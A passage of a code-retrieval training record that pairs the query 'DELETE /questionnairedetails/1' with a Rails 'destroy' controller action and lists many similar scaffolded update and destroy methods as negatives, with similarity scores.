:unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n\n respond_to do |format|\n if @multiple_choice_question.update_attributes(params[:multiple_choice_question])\n format.html { redirect_to @multiple_choice_question, notice: 'Multiple choice question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @multiple_choice_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.json { render :json => 'Question updated OK' }\n format.xml { head :ok }\n else\n format.json { render :json => @question.errors }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @examquestion.update(examquestion_params)\n format.html { redirect_to @examquestion, notice: 'Examquestion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @examquestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey_question.update(survey_question_params)\n @survey_question = SurveyQuestion.new\n @survey_questions = SurveyQuestion.all \n # respond_to do |format|\n # if @survey_question.update(survey_question_params)\n # format.html { redirect_to @survey_question, notice: 'Survey question was successfully updated.' }\n # format.json { render :show, status: :ok, location: @survey_question }\n # else\n # format.html { render :edit }\n # format.json { render json: @survey_question.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n p = trial_params.clone\n if p[\"question_ids\"].nil?\n p[\"question_ids\"] = []\n end\n\n respond_to do |format|\n if @trial.update(p)\n format.html { redirect_to @trial, notice: 'Trial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trial.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n if @critical_question.update_attributes(params[:critical_question])\n format.html { redirect_to @critical_question, notice: 'Critical question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n if @survey_question.update_attributes(params[:survey_question])\n format.html { redirect_to survey_questions_path(@survey_question.survey_id),\n notice: 'Survey question was successfully updated.' }\n #format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n #format.json { render json: @survey_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @simple_question_alternative.update(simple_question_alternative_params)\n render status: :ok, json: @simple_question_alternative\n else\n self.send(:edit)\n end\n end", "def update\n respond_to do |format|\n if @questionnaire_template.update(questionnaire_template_params)\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire_template }\n else\n format.html { render :edit }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to params[:return_to] || :back }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html do\n flash[:error_messages] = @questionnaire.errors.full_messages\n redirect_to :back \n end\n format.xml { render :xml => @questionnaire.errors.to_xml }\n format.json { render :json => @questionnaire.errors.to_json }\n end\n end\n end", "def update_correct_answer\n question_params = params.permit(:question_id, :question_type_id, :option_id)\n \n render json: Question.update_correct_option(question_params)\n end", "def update\n @survey = Survey.find(params[:id])\n success = @survey.update_attributes(params[:survey])\n \n puts \"UPDATE: Survey:#{@survey.id} - #{@survey.name}\"\n # Load the JSON Survey form data.\n survey_questions = ActiveSupport::JSON.decode(@survey.survey_data)\n #y survey_questions\n \n update_questions(@survey, survey_questions)\n \n # Render a response.\n respond_to do |format|\n if success\n format.html { redirect_to(@survey, :notice => 'Survey was successfully updated.') }\n format.xml { head :ok }\n format.js { head :ok}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n format.js { render :json => @survey.errors, :status => :error }\n end\n end\n end", "def update\n respond_to do |format|\n if @test_question.update(test_question_params)\n format.html { redirect_to @test_question, notice: 'Test question was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_question }\n else\n format.html { render :edit }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, :notice =>'Question was successfully updated.' }\n format.json { render :show, :status => :ok, :location => @question }\n else\n format.html { render :edit }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n check_forged_path\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n if params[:question].has_key?(:purpose)\n @question.purpose = params[:question][:purpose]\n end\n format.html { redirect_to question_url(@question) }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors.full_messages.to_xml, :status => :bad_request }\n format.json { render :json => @question.errors.full_messages.join(\"\\n\").to_json, :status => :bad_request }\n end\n end\n end", "def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to \"http://localhost:3000/questionnaires/finish\"}\n format.json { head :no_content }\n format.js { render \"redirect\" }\n else\n format.html { render \"http://localhost:3000/questionnaires/finish\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n format.js {render \"validation_error\"}\n end\n end\n end", "def update_question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to :planner, notice: 'Question was successfully updated.' }\n format.json { respond_with_bip(@question) }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to quiz_path(@question.subsection_id), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @enquiry.update(params[:enquiry])\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to edit_question_path(@question), notice: 'Question was successfully updated.' }\n format.json\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: \"Question was successfully updated.\" }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n format.js { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n format.js { head :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @inquiry_question.update(inquiry_question_params)\n format.html { redirect_to @inquiry_question.business, notice: 'Inquiry question was successfully updated.' }\n format.json { render :show, status: :ok, location: @inquiry_question.business }\n else\n format.html { render :edit }\n format.json { render json: @inquiry_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question_learned.update(question_learned_params)\n format.html { redirect_to @question_learned, notice: 'Question learned was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question_learned.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n if @intake_question.update_attributes(params[:intake_question])\n format.html { redirect_to @intake_question, notice: 'Intake question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intake_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n check_delete_flg\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @survey_question_item = SurveyQuestionItem.find(params[:id])\n\n respond_to do |format|\n if @survey_question_item.update_attributes(params[:survey_question_item])\n format.html { redirect_to @survey_question_item, notice: 'Survey question item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_question_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end", "def update\n respond_to do |format|\n if @add_question.update(add_question_params)\n format.html { redirect_to @add_question, notice: 'Add question was successfully updated.' }\n format.json { render :show, status: :ok, location: @add_question }\n else\n format.html { render :edit }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @question_localized = QuestionLocalized.find(params[:id])\n\n respond_to do |format|\n if @question_localized.update_attributes(params[:question_localized])\n flash[:notice] = 'QuestionLocalized was successfully updated.'\n format.html { redirect_to(@question_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_localized.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_question\n\t\t\tquizzes = current_instructor.quizzes\n\t\t\t@found = 0\n\t\t\tquizzes.each do |quiz|\n\t\t\t\tif(quiz.questions.exists?(:id => params[:question_id]))\n\t\t\t\t\t@found = @found + 1\n\t\t\t\tend \n\t\t\tend\n\t\t\tif (@found > 0)\n\t\t\t\tquestion = Question.find(params[:question_id])\n\t\t\t\tif (question.update(question_params))\n\t\t\t\t\trender json: { success: true, data: { :question => question }, info:{} }, status: 200\n\t\t\t\telse\n\t\t\t\t\trender json: { error: question.errors }, status: 422 \n\t\t\t\tend\t\n\t\t\telse\n\t\t\t\trender json: { error:\"Question is not found\" }, status: 422\n\t\t\tend\n\t\tend", "def update\n\n qp = question_params\n if qp[:question_type] == \"vignette\" or qp[:question_type] == \"nonchoice\"\n qp[:answer] = \"\"\n end\n\n respond_to do |format|\n if @question.update(qp)\n format.html { redirect_to paper_questions_path(question_params[:paper_id],question_params[:id]), notice: '題目已被成功編輯' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { redirect_to edit_paper_question_path, notice: '上傳檔案大小不可超過500KB' }\n format.json { render json: paper_questions_path.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question.course, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @requisition = Requisition.find(params[:id])\n\n respond_to do |format|\n if @requisition.update_attributes(params[:requisition])\n format.html { redirect_to @requisition, notice: 'Requisition was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey_choice = Survey::Choice.find(params[:id])\n\n respond_to do |format|\n if @survey_choice.update_attributes(params[:survey_choice])\n format.html { redirect_to @survey_choice, notice: 'Choice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_choice.errors, status: :unprocessable_entity }\n5 end\n end\n end", "def update\n if @physician.update(survey_params)\n head :no_content\n else\n render json: @physician.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @research_question.update(research_question_params)\n format.html { redirect_to @research_question, notice: 'Research question was successfully updated.' }\n format.json { render :show, status: :ok, location: @research_question }\n else\n format.html { render :edit }\n format.json { render json: @research_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @enquiry.update(enquiry_params)\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully updated.' }\n format.json { render :show, status: :ok, location: @enquiry }\n else\n format.html { render :edit }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @enquiry.update(enquiry_params)\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully updated.' }\n format.json { render :show, status: :ok, location: @enquiry }\n else\n format.html { render :edit }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @b_question.update(b_question_params)\n format.html { redirect_to @b_question }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @b_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @general_enquiry.update(general_enquiry_params)\n format.html { redirect_to @general_enquiry, notice: 'General enquiry was successfully updated.' }\n format.json { render :show, status: :ok, location: @general_enquiry }\n else\n format.html { render :edit }\n format.json { render json: @general_enquiry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @questionary.update(questionary_params)\n\t\t\t\tformat.html { redirect_to @questionary, notice: 'Questionary was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @questionary }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @questionary.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'La pregunta fue modificada correctamente.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_academy_question.update(admin_academy_question_params)\n format.html { redirect_to @admin_academy_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_academy_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @poll_question = PollQuestion.find(params[:id])\n\n respond_to do |format|\n if @poll_question.update_attributes(params[:poll_question])\n format.html { redirect_to @poll_question, notice: 'Poll question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poll_question.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7308285", "0.7213015", "0.7071084", "0.7018416", "0.69889027", "0.6822846", "0.6793808", "0.67804736", "0.6752946", "0.6743366", "0.67090183", "0.66666895", "0.66576016", "0.6638422", "0.66212744", "0.66160965", "0.66143805", "0.66142154", "0.65997505", "0.6597809", "0.65759075", "0.6574105", "0.65629256", "0.65578336", "0.65462637", "0.6543994", "0.65379953", "0.65379953", "0.65379953", "0.65379953", "0.65379953", "0.6519694", "0.6519668", "0.65087503", "0.65073526", "0.6507327", "0.6504182", "0.6476278", "0.64681774", "0.64681774", "0.64681774", "0.6464444", "0.6445858", "0.64354485", "0.64305514", "0.6423789", "0.6405831", "0.6403248", "0.64031565", "0.6394156", "0.6381926", "0.63812405", "0.63803524", "0.6378746", "0.6359418", "0.6351705", "0.63288534", "0.6325374", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.6324861", "0.63224334", "0.632203", "0.6310997", "0.6307911", "0.6302394", "0.63015014", "0.6299425", "0.6295814", "0.6294315", "0.629342", "0.62831295", "0.62746024", "0.62677443", "0.62662035", "0.6265174", "0.6258653", "0.6247105", "0.6247105", "0.6246137", "0.6245424", "0.62440914", "0.62376785", "0.62305105", "0.6227577" ]
0.7357181
0
DELETE /questionnairedetails/1 DELETE /questionnairedetails/1.json
def destroy @questionnairedetail.destroy respond_to do |format| format.html { redirect_to questionnairedetails_url, notice: 'Questionnairedetail was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: 'Questionnaire was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: \"Questionnaire was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @questionnaire.destroy \n respond_to do |format|\n format.html { redirect_to company_questionnaires_path(@company), notice: 'Questionnaire was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n authorize! :destroy, @questionnaire\n\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: 'Тест успешно удален.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url(:project_id =>@questionnaire.project_id) }\n format.json { head :no_content }\n format.js {}\n end\n end", "def destroy\n @survey_question_item = SurveyQuestionItem.find(params[:id])\n @survey_question_item.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_question_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n @survey_answer_item.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_answer_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_url(params[:survey_id]) }\n format.json { head :no_content }\n end\n end", "def destroy\n if @v1_question.destroy\n render json: {'message': 'Deleted question successfully'}, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n\n end", "def destroy\n @survey_question = SurveyQuestion.find(params[:id])\n @survey_question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_questions_url }\n # format.json { head :no_content }\n end\n end", "def destroy\n @test_question = TestQuestion.find(params[:id])\n @test_question.destroy\n\n respond_to do |format|\n format.html { redirect_to test_questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n #@question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rnaseq = Rnaseq.find(params[:id])\n @rnaseq.destroy\n\n respond_to do |format|\n format.html { redirect_to rnaseqs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @enquiry.destroy\n respond_to do |format|\n format.html { redirect_to enquiries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire_template.destroy\n respond_to do |format|\n format.html { redirect_to questionnaire_templates_url, notice: 'questionnaire template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey.destroy\n respond_to do |format|\n format.html { redirect_to surveys_url, notice: \"Le questionnaire vient d'être détruit.\" }\n format.json { head :no_content }\n end\n end", "def delete_question\n question_params = params.permit(:id, :form_id, :question_type_id)\n\n render json: Question.delete_question(question_params)\n end", "def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @completed_quest = CompletedQuest.find(params[:id])\n @completed_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to completed_quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @my_question = MyQuestion.find(params[:id])\n @my_question.destroy\n\n respond_to do |format|\n format.html { redirect_to my_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy # also destroys associated qfounders\n\n# flips to accel index.html, should flip to ques new.html?\n respond_to do |format|\n# format.html { redirect_to new_questionnaire_path }\n format.html { redirect_to accelerators_path }\n format.xml { head :ok }\n end\n end", "def destroy\n @questionstatu.destroy\n respond_to do |format|\n format.html { redirect_to questionstatus_index_path, notice: 'Mytest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @question.destroy\n \n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'DNS was successfully removed.' }\n format.json { head :no_content }\n \nend\n end", "def destroy\n @survey_item.destroy\n respond_to do |format|\n format.html { redirect_to survey_items_url, notice: 'Survey item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @api_v1_question.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n 